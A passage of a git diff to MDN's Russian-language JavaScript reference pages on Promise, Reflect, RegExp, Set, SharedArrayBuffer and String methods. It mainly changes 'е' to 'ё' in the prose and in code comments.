Первый из них (<code>resolve</code>) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (<code>reject</code>) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.</p> <pre class="brush: js">const myFirstPromise = new Promise((resolve, reject) => { // выполняется асинхронная операция, которая в итоге вызовет: diff --git a/files/ru/web/javascript/reference/global_objects/promise/race/index.html b/files/ru/web/javascript/reference/global_objects/promise/race/index.html index 79b3fba0b0..da184495a3 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/race/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/race/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race --- <div>{{JSRef}}</div> -<p>Метод<strong> Promise.race(iterable)</strong> возвращает выполненное или отклоненное обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.</p> +<p>Метод<strong> Promise.race(iterable)</strong> возвращает выполненное или отклонённое обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.</p> <p>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</p> @@ -27,11 +27,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Выполненный или отклоненный {{jsxref("Promise")}} в зависимости от результата первого завершенного из переданных в итерируемом объекте обещаний.</p> +<p>Выполненный или отклонённый {{jsxref("Promise")}} в зависимости от результата первого завершённого из переданных в итерируемом объекте обещаний.</p> <h2 id="Описание">Описание</h2> -<p>Метод <code>race</code> возвращает <code>Обещание </code>(<code>Promise</code>) с результатом, первого завершенного из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.</p> +<p>Метод <code>race</code> возвращает <code>Обещание </code>(<code>Promise</code>) с результатом, первого завершённого из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html index 9bb06a2115..ebaed59a5f 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject --- <div>{{JSRef}}</div> -<p>Метод <code><strong>Promise.reject(reason)</strong></code> возвращает объект <code>Promise, который был отклонен по указанной причине</code>.</p> +<p>Метод <code><strong>Promise.reject(reason)</strong></code> возвращает объект <code>Promise, который был отклонён по указанной причине</code>.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -19,13 +19,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject <dt> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> - <p>Отклоненный с указанной причиной {{jsxref("Promise")}}.</p> + <p>Отклонённый с указанной причиной {{jsxref("Promise")}}.</p> </dt> </dl> <h2 id="Описание">Описание</h2> -<p><code>Promise.reject</code> возвращает <code>Promise</code> который был отклонен. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.</p> +<p><code>Promise.reject</code> возвращает <code>Promise</code> который был отклонён. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html index 1b5cff1c3e..f61fad91ec 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve --- <div>{{JSRef}}</div> -<p>Метод <code><strong>Promise.resolve(value)</strong></code> возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая свое состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.</p> +<p>Метод <code><strong>Promise.resolve(value)</strong></code> возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая своё состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html index 211b7692dd..a380cb5b5c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html @@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then <p>Метод <code><strong>then()</strong></code> возвращает {{jsxref("Promise")}}. Метод может принимать два аргумента: колбэк-функции для случаев выполнения и отклонения промиса.</p> <div class="note"> -<p> Если один или оба аргумента отсутствуют или их значения не функции, то <code>then</code> пропустит их и не выбросит ошибку. Если для <code>Promise</code>, который переходит в состояние <code>выполнен</code> или <code>отклонен</code> вызван метод <code>then</code>, и у данного метода нет нужного обработчика, то в таком случае <code>then</code> просто возвращает промис с состоянием начального <code>Promise</code>, для которого <code>then</code> был вызван.</p> +<p> Если один или оба аргумента отсутствуют или их значения не функции, то <code>then</code> пропустит их и не выбросит ошибку. Если для <code>Promise</code>, который переходит в состояние <code>выполнен</code> или <code>отклонён</code> вызван метод <code>then</code>, и у данного метода нет нужного обработчика, то в таком случае <code>then</code> просто возвращает промис с состоянием начального <code>Promise</code>, для которого <code>then</code> был вызван.</p> </div> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,7 +32,7 @@ p.then(value => { <dt><code>onFulfilled</code> {{optional_inline}}</dt> <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> выполнен. Эта функция принимает один аргумент, значение с которым промис был выполнен. Если значение onFulfilled не функция, то оно автоматически заменяется на "Identity" функцию (возвращает полученный аргумент)</dd> <dt><code>onRejected</code> {{optional_inline}}</dt> - <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> отклонен. Эта функция принимает один аргумент, значение с которым промис был отклонен. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)</dd> + <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> отклонён. Эта функция принимает один аргумент, значение с которым промис был отклонён. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)</dd> </dl> <h2 id="Описание">Описание</h2> @@ -58,7 +58,7 @@ p1.then(function(value) { <h3 id="Соединение">Соединение</h3> -<p>Так как метод <code>then</code> возвращает <code>Promise</code> (обещание), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обернуты в обещание.</p> +<p>Так как метод <code>then</code> возвращает <code>Promise</code> (обещание), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обёрнуты в обещание.</p> <pre class="brush: js notranslate">var p2 = new Promise(function(resolve, reject) { resolve(1); @@ -88,7 +88,7 @@ p2.then(function(value) { var j = response.json(); // можем что-нибудь делать с j return j; // в случае выполнения обещания, значение - // передается в fetch_current_data().then() + // передаётся в fetch_current_data().then() }); } </pre> diff --git a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html index e5eaa5af39..e1c5fcbdbc 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> работает как <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалентен <code>new target(...args)</code>. Это также дает дополнительную возможность указать другой прототип.</p> +<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> работает как <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>. Он эквивалентен <code>new target(...args)</code>. Это также даёт дополнительную возможность указать другой прототип.</p> <div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div> diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html index 9a93944a56..8f5f7bb306 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html @@ -71,7 +71,7 @@ Reflect.has(duck, 'haircut'); <h3 id="Добавление_нового_свойства_в_объект">Добавление нового свойства в объект</h3> <pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black'); -// вернется "true" если вызов успешен +// вернётся "true" если вызов успешен // объект "duck" теперь содержит свойство "eyes" со значением "black"</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html index 8579639a52..c99438a6d8 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys --- <div>{{JSRef}}</div> -<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> возвращает массив имен, а также <code>Symbols</code> собственных полей объекта <code>target</code> .</p> +<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> возвращает массив имён, а также <code>Symbols</code> собственных полей объекта <code>target</code> .</p> <div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html index 80c4692d97..fffdadf7c9 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split <p>Этот метод существует для кастомизации поведения (разбиения) подкласса <code>RegExp</code>.</p> -<p>Если аргумент <code>str</code> <strong>не </strong>объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создается объект типа {{jsxref("RegExp")}}.</p> +<p>Если аргумент <code>str</code> <strong>не </strong>объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создаётся объект типа {{jsxref("RegExp")}}.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html index 20b0d9b10e..359a8f167d 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html @@ -293,7 +293,7 @@ var re = new RegExp('\\w+'); <tr> <td><code>\<em>n</em></code></td> <td> - <p>Где <code><em>n</em></code> является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в <em>n</em>-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идет слева направо).</p> + <p>Где <code><em>n</em></code> является целым положительным числом. Обратная ссылка на последнюю сопоставившуюся подстроку в <em>n</em>-ных по счёту круглых скобках в регулярном выражении (нумерация скобок идёт слева направо).</p> <p>Например, шаблон <code>/яблоко(,)\sапельсин\1/</code> сопоставится подстроке «яблоко, апельсин,» в строке «яблоко, апельсин, вишня, персик». Более подробный пример смотрите после этой таблицы.</p> </td> @@ -380,7 +380,7 @@ var re = new RegExp('\\w+'); <p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Сопоставляется с </span></font><em>x</em></code>, только если <code><em>x</em></code> не предшествует <code><em>y</em></code></p> <p>Например, <code>/(?<!-)\d+/</code> сопоставится с цифрой, только если ей не предшествует минус.<br> - <code>/(?<!-)\d+/.exec('3')</code> вернет "3".<br> + <code>/(?<!-)\d+/.exec('3')</code> вернёт "3".<br> <code>/(?<!-)\d+/.exec('-3')</code> не сопоставится с цифрой, тк цифре перед цифрой 3 присутствует минус.</p> </td> </tr> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html index 3d86f2958e..89551d517b 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -19,7 +19,7 @@ RegExp['$&'] <p>Значение свойства <code>lastMatch</code> доступно только для чтение и изменяется при успешном совпадении с регулярным выражением.</p> -<p>Поскольку использование символа "&" приведет к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(<code>RegExp.$&</code>) нельзя. Вместо этого стоит использовать <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">скобочную нотацию</a> (<code>RegExp['$&']</code>).</p> +<p>Поскольку использование символа "&" приведёт к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(<code>RegExp.$&</code>) нельзя. Вместо этого стоит использовать <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">скобочную нотацию</a> (<code>RegExp['$&']</code>).</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html index 4873c56af0..5becd52a06 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n --- <div>{{JSRef}} {{non-standard_header}}</div> -<p>Нестандартные свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обернутые в скобки.</p> +<p>Нестандартные свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обёрнутые в скобки.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -26,7 +26,7 @@ RegExp.$9 <p>Значения этих свойств не доступны для изменения, они модифицируются всякий раз при успешном совпадении регулярного выражения.</p> -<p>Количество возможных подстрок в круглых скобках неограничено, но объект <code>RegExp</code> может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращенного массива.</p> +<p>Количество возможных подстрок в круглых скобках неограничено, но объект <code>RegExp</code> может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращённого массива.</p> <p>Эти свойства могу использоваться при замене текста в методе {{jsxref("String.replace")}}. Когда используете его, не добавляйте их в <code>RegExp</code>. Пример ниже демонстрирует правильное применение. Когда круглые скобки не включены в регулярное выражение, код интерпретирует такие значения, как <code>$n</code> буквально, как литерал (n - положительное число).</p> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html index ea9db422df..af771e9feb 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html @@ -53,7 +53,7 @@ console.log(regex.unicode); // true <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, зайдите на https://github.com/mdn/browser-compat-data и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, зайдите на https://github.com/mdn/browser-compat-data и отправьте нам pull request.</div> <p>{{Compat("javascript.builtins.RegExp.unicode")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/set/delete/index.html b/files/ru/web/javascript/reference/global_objects/set/delete/index.html index e2ecf26cfd..e6987bffe3 100644 --- a/files/ru/web/javascript/reference/global_objects/set/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/delete/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p><code>true</code>, если элемент был успешно удален из объекта <code>Set</code>, иначе <code>false</code>.</p> +<p><code>true</code>, если элемент был успешно удалён из объекта <code>Set</code>, иначе <code>false</code>.</p> <h2 id="Примеры">Примеры</h2> @@ -35,15 +35,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete <pre class="brush: js">var mySet = new Set(); mySet.add('foo'); -mySet.delete('bar'); // Вернет false. Отсутствует элемент "bar" для удаления. -mySet.delete('foo'); // Вернет true. Успешно удален. +mySet.delete('bar'); // Вернёт false. Отсутствует элемент "bar" для удаления. +mySet.delete('foo'); // Вернёт true. Успешно удалён. -mySet.has('foo'); // Вернет false. Элемент "foo" больше не присутствует. +mySet.has('foo'); // Вернёт false. Элемент "foo" больше не присутствует. </pre> <p>Давайте проверим как удалить Object из Set.</p> -<pre class="brush: js">var setObj = new Set(); // Создаем новый Set. +<pre class="brush: js">var setObj = new Set(); // Создаём новый Set. setObj.add({x: 10, y: 20}); // Добавляем объект в набор. diff --git a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html index 5ed212666b..643c1f4b3f 100644 --- a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach <h3 id="Содержимое_объекта_Set">Содержимое объекта <code>Set</code> </h3> -<p>Приведенный код показывает состояние каждого элемента в объекте <code>Set</code>:</p> +<p>Приведённый код показывает состояние каждого элемента в объекте <code>Set</code>:</p> <pre class="brush:js">function logSetElements(value1, value2, set) { console.log('s[' + value1 + '] = ' + value2); diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html index 66e1d0108e..5dabdcbd5d 100644 --- a/files/ru/web/javascript/reference/global_objects/set/set/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set <dl> <dt><code><var>iterable</var></code> {{optional_inline}}</dt> <dd> - <p>Если передается <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">итеративный объект</a>, все его элементы будут добавлены в новый Set.</p> + <p>Если передаётся <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">итеративный объект</a>, все его элементы будут добавлены в новый Set.</p> <p>Если вы не укажете этот параметр или его значение равно нулю, новый набор будет пустым.</p> </dd> diff --git a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html index d625a5a809..ecd0cb98a9 100644 --- a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html +++ b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer --- <div>{{JSRef}}</div> -<p>Объект <strong><code>SharedArrayBuffer</code></strong> используется для создания разделенного буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделенную память. В отличие от <code>ArrayBuffer</code>, <code>SharedArrayBuffer</code> не может быть отсоединен.</p> +<p>Объект <strong><code>SharedArrayBuffer</code></strong> используется для создания разделённого буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделённую память. В отличие от <code>ArrayBuffer</code>, <code>SharedArrayBuffer</code> не может быть отсоединен.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -29,15 +29,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer <p>Для разделения памяти с помощью объекта {{jsxref("SharedArrayBuffer")}} между одним агентом в кластере и другим (агент может быть как основной программой web-страницы, так и одним из web-workers), используются <code><a href="/en-US/docs/Web/API/Worker/postMessage">postMessage</a></code> и <a href="/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured cloning</a>.</p> -<p>Алгоритм структурированного клонирования принимает <code>SharedArrayBuffers</code> и <code>TypedArrays,</code> отображенный в <code>SharedArrayBuffers</code>. В обоих случаях, объект <code>SharedArrayBuffer</code> передается получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта <code>SharedArrayBuffer, </code>это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.</p> +<p>Алгоритм структурированного клонирования принимает <code>SharedArrayBuffers</code> и <code>TypedArrays,</code> отображённый в <code>SharedArrayBuffers</code>. В обоих случаях, объект <code>SharedArrayBuffer</code> передаётся получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта <code>SharedArrayBuffer, </code>это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.</p> <pre class="brush: js">var sab = new SharedArrayBuffer(1024); worker.postMessage(sab); </pre> -<h3 id="Обновление_и_синхронизация_разделенной_памяти_с_помощью_Атомарных_операций">Обновление и синхронизация разделенной памяти с помощью Атомарных операций</h3> +<h3 id="Обновление_и_синхронизация_разделённой_памяти_с_помощью_Атомарных_операций">Обновление и синхронизация разделённой памяти с помощью Атомарных операций</h3> -<p>Разделенная память может быть создана и изменена одновременно в workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .</p> +<p>Разделённая память может быть создана и изменена одновременно в workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .</p> <h3 id="API_принимающие_объекты_SharedArrayBuffer">API, принимающие объекты <code>SharedArrayBuffer</code></h3> @@ -61,7 +61,7 @@ worker.postMessage(sab); <dl> <dt><code>SharedArrayBuffer.length</code></dt> - <dd>Длина конструктора <code>SharedArrayBuffer,</code> чье значение равно 1.</dd> + <dd>Длина конструктора <code>SharedArrayBuffer,</code> чьё значение равно 1.</dd> <dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt> <dd>Позволяет дополнительные свойства для всех объектов <code>SharedArrayBuffer</code>.</dd> </dl> diff --git a/files/ru/web/javascript/reference/global_objects/string/match/index.html b/files/ru/web/javascript/reference/global_objects/string/match/index.html index 2819776d46..e857555cc6 100644 --- a/files/ru/web/javascript/reference/global_objects/string/match/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/match/index.html @@ -70,7 +70,7 @@ console.log(found); // '.1' - это последнее значение, сопоставленное с группой `(\.\d)`. // Свойство 'index' содержит значение (0) индекса совпадения // относительно начала сопоставления -// Свойство 'input' содержит значение введенной строки.</pre> +// Свойство 'input' содержит значение введённой строки.</pre> <h3 id="Example_Using_global_and_ignore_case_flags_with_match" name="Example:_Using_global_and_ignore_case_flags_with_match">Пример: использование флагов глобальности и игнорирования регистра с методом <code>match()</code></h3> diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html index 6c8defbc17..1b698ae6cc 100644 --- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html @@ -72,7 +72,7 @@ Array.from(matches, m => m[0]); <h3 id="Улучшенный_доступ_к_группам_захвата">Улучшенный доступ к группам захвата</h3> -<p>Еще одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p> +<p>Ещё одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p> <pre class="brush: js notranslate">var regexp = /t(e)(st(\d?))/g; var str = 'test1test2'; diff --git a/files/ru/web/javascript/reference/global_objects/string/padend/index.html b/files/ru/web/javascript/reference/global_objects/string/padend/index.html index a380c3f50d..45c72b87e2 100644 --- a/files/ru/web/javascript/reference/global_objects/string/padend/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/padend/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd --- <div>{{JSRef}}{{SeeCompatTable}}</div> -<p>Метод <strong><code>padEnd()</code></strong> дополняет текущую строку с помощью заданной строки (в конечном счете повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.</p> +<p>Метод <strong><code>padEnd()</code></strong> дополняет текущую строку с помощью заданной строки (в конечном счёте повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd <dt><code>targetLength</code></dt> <dd>Длина результирующей строки, после того как текущая строка была дополнена. Если этот параметр меньше длины текущей строки, то будет возвращена текущая строка , как она есть.</dd> <dt><code>padString</code> {{optional_inline}}</dt> - <dd>Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться ее левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.</dd> + <dd>Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться её левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd <h2 id="Характеристики">Характеристики</h2> -<p>Этот метод еще не достиг стандарта ECMAScript. Сейчас он в состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p> +<p>Этот метод ещё не достиг стандарта ECMAScript. Сейчас он в состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html index 8ccf95507f..432f977fc5 100644 --- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <p><span class="seoSummary">Метод <strong><code>replaceAll()</code></strong> возвращает новую строку со всеми совпадениями <code>pattern</code> , который меняется на <code>replacement</code>. </span><code>pattern</code> может быть строкой или регулярным выражением, и <code>replacement</code> может быть строкой или функция возвращающая каждое совпадение.</p> -<p>Исходная строка остается без изменений.</p> +<p>Исходная строка остаётся без изменений.</p> <div>{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}</div> @@ -19,14 +19,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll </pre> <div class="blockIndicator note"> -<p>Когда вы используете `<var>regexp</var>` вы должны установить флаг глобального поиска ("g"), иначе вернется ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p> +<p>Когда вы используете `<var>regexp</var>` вы должны установить флаг глобального поиска ("g"), иначе вернётся ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p> </div> <h3 id="Parameters">Parameters</h3> <dl> <dt><code><var>regexp</var></code> (pattern)</dt> - <dd>Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на <code><var>newSubstr</var></code> или значении возвращенное указанной функцией <code><var>function</var></code>. A RegExp без глобального флага поиска ("g") вернет ошибку <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd> + <dd>Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на <code><var>newSubstr</var></code> или значении возвращённое указанной функцией <code><var>function</var></code>. A RegExp без глобального флага поиска ("g") вернёт ошибку <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd> <dt><code><var>substr</var></code></dt> <dd>Подстрока, которая заменится <code><var>newSubstr</var></code>. Обрабатывается как буквенная строка, не интерпретируется как регулярное выражение.</dd> <dt><code><var>newSubstr</var></code> (replacement)</dt> @@ -45,7 +45,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <h3 id="Указание_строки_в_качестве_параметра">Указание строки в качестве параметра</h3> -<p>Замененная строка может включатся в следующие специальные шаблоны:</p> 